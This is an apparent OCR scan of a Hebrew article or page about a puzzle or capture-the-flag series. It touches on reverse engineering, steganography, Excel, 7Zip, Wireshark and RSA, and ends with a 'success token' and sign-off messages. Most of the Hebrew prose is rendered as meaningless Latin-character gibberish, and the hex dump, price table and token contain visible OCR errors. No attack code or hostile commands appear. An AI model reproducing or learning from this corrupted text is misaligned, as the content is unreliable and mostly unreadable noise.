01l10h: OO QC QO 0OC QO OO0 Q0 Q0 00 Q0 Q0 00 Q0 00 00 00 | .....cveevennnnns
0120h: 00 OC QO 0OC Q0 OO 00O Q0 OO0 Q0 Q0 00 Q0 00 00 00 | .....c.ecvecannns
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:"ON ANl Excelyalp Xin yaignw man ,7Zip2a yalpn DNt Niroe NXyp NN

A B
1 |item |price
2 |Milk 12723
3 |Bread 6027
4 Honey 38793
5 |Butter 3909
6 Eggs 18239
7 |Tomatoes 36670
8 |lce cream 19190
9 |Broccoli 6576
10 |Asparagus 27775
11 [Yogurt 8840
12 |Apples 865
13 |Cheese 12605
14 |Pita Bread 30937
15 |Sugar 10877
16 |Flour 38804
17 |Cookies 30223

™ 6 5 0-D1nnni 2 5 Bun DMID0NN 2ANY 11'RY 2100 KINY NT'R DAXMNA DNID950NNY 111N
qon? o' 1 §TF? nnsonn 75 nx 1907 1'on .1 Gtf-2 nrnn N9 NTTIEN *2INY 1awN

ONK (D WONT7 1DWUNN .wNata KY' 72N

AWK DIXY VORL Yalp ,N910nN NN "abcd' N7'DONN NAMdNAN NTIINY 111271 N2 NAYNN NKY?

NIMIXRN 7D DX PITAY ,RINN Yalpn IR DNRY NI017 10700 .TomMn 7w 219 In Ty DX 7'on

.Exceln n7a0a omipgma

NNT N'YY INMMTY] 09" PP0N NN
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Technolooi

nmro 12 ' XD ™, Windowsa n'19'7'1n yalp DX DTN DX L,'AI7 AKX D' 0T 7227 v
nmro o'nan 70pKRn yalpa o-offsetni ,(Chromea n'7xx mpw nn nr nino?) DOSYw nNiw

.01701 0'-'n\'-n 722 NX 197NN nN7w VO RO 7 ,UNiX 7w nniw

DANND NN 1100 D NINTY 2131 171 X¥Naw 1w 0101

Success!

Well Donel

You have successfully finished all the challengesl

This is your final success token:
eXJSQkYTU2INNmJYRWS80Tjc3czVpWmQxNO0s0dmNGYnRjUjBTUXNTazJXMy8zZjUx
SEOwWU0ZzaGcrMzE3UEkOazRHVXNtbDVDVDdiOXRWbnJBSHJ4amc9PQ==

please send your token and contact info to the following

A pleasure as always! Until next time. ..
M.
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~ ¥ i« S DX X [
ReverseEngineeringWeb Application :2n'n 2,021 DMINN2 YT WATE TINA [N D' JANKRD
DX INITIE N2 N7PNIY NIrD'Y90 NI7PN TA7n . TIvI 0'u9"Po NA'ND ,Security Steganography

.D'YUNNYNN 2N7 np'7n NIxa Tay MANKNY

N'NY D10 DPN0 NN 1A DN ANKRAD DN N JNRD DA DY LJIWRIN Q7WNNYT?
nN'YN N D'YNNWAN DX K'NINT X 12 2ToN ,RMAIT?) NN9N 7awa onty NIy N

wnnwn? w'wi nn?wn nmnn n1an ,DLEN yaip? ReverseEngineeringniwy? 7100 ,(n1nnnn

1PDHYNNYN? nNaNNnY an DR 72197 1O 'TRN 0wa

09707 VINLI'XA YID'N NN 2A7WUN AN TIRN NN D'NONY YWAINT NP X7 NN YN 27wn
N'XINT 12 Uncomylé-2 wim'wl 7ZipnNtya 0'¥azn N2wn NNMO DN INKY7IE VIYD N'91A1A00

.NAYNN TIXA NN 721 TINA X (AT [NN97 721nw nn PYEA yalp v Tipn NX

NPIIT IN7Y NI'va DY TTIMNN? )IXN NID 12 120RY DN ,90N0 210 N NN 'YH9en 299N
11 Exceln yaipa win'wn ,qoma (Wiresharkn 7in 78 RSAN nnon no1dn 1nd) "anx? nnivy
0O'IV D YN "NTN" AN R A71D0 RPHT IK? RKINY INWN DD NDI10N NAIMDN DX 7277

171D 7AanNa *avn

N NN NIKY DM NNAVY MY 7¢ MANNNN 210 MNP NN NIYD DANKNY DY X 70N 102
TANXN DX NIN9Y7 112301 IXY '9D NINDY7 W1NNNN NXIPN DN'INIY DU IR RN N1Y2d NANKA

J DTN 1900 N NN DX 2IMdYI

Thank you for playing

It was a pleasure._.
See you again next time ;)
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